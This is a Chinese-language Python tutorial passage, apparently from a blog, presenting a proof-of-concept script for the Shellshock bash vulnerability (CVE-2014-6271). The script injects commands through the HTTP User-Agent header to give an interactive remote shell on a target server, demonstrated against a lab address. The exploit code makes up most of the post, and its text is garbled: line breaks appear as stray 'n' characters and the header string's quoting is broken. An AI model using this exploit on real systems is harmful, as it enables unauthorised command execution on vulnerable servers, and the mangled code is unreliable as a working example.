用例1: CVE-2014-6271
下面這段Python寫的Poc的代碼非常的酷(屌噠噠),用戶根本感覺不到發生了什麼事情. 這個Poc執行後就和系統的命令終端一樣,不過這個Poc它的目的卻與系統的不同.這個Poc會修改瀏覽器的User-Agent 信息,然後不停的向攻擊主機發送一個惡意的指令(這裡是執行某個特定的命令).
下面這段代碼封裝了一個無限循環,通過raw_input獲取用戶輸入的終止標記,最後提交請求,從下面的這段代碼你可以看到 如何去完成一個HTTP請求以及如何修改User-Agent的內容:
#!/usr/bin/pythonnimport sys, urllib2 #導入需要使用的模塊n nif len(sys.argv) != 2: # 檢查輸入命令的格式是否正確 "<script> <URL>"n print "Usage: "+sys.argv[0]+" <URL>"n sys.exit(0)n nURL=sys.argv[1] # 把測試的URL輸出顯示出來nprint "[+] Attempting Shell_Shock - Make sure to type full path"n nwhile True: # 通過raw_input來獲取用戶輸入的值,如果是"~$"就停止執行 n command=raw_input("~$ ")n opener=urllib2.build_opener() # 修改默認的請求頭部,把修改後的User-Agent包含進去n opener.addheaders=[(User-agent, () { foo;}; echo Content-Type: text/plain ; echo /bin/bash -c "+command+")]n try: # 使用Try/Except 進行錯誤處理n response=opener.open(URL) #提交請求並且顯示響應結果n for line in response.readlines():n print line.strip()n except Exception as e: print en
下面的圖片是這個腳本執行後的截圖,正在測試ip地址為http://192.168.56.101 的系統,你可以很清晰的看到執行之後會生成一個和真實命令終端幾乎是一樣的. 大家其實可以看到這個腳本只是對測試系統發送了一個HTTP請求.其他的什麼也沒有 做.不過最後一張圖展示了具體的細節部分:
推薦閱讀:
※Python面向對象編程(OOP)
※草根學Python(八) 模塊與包
※對Github上Python開源項目進行分析時遇到的一個AttributeError的解釋及其解決方法。
※17個新手常見Python運行時錯誤
※Python面向對象編程從零開始(5)—— 小姐姐要買房
TAG:Python教程 |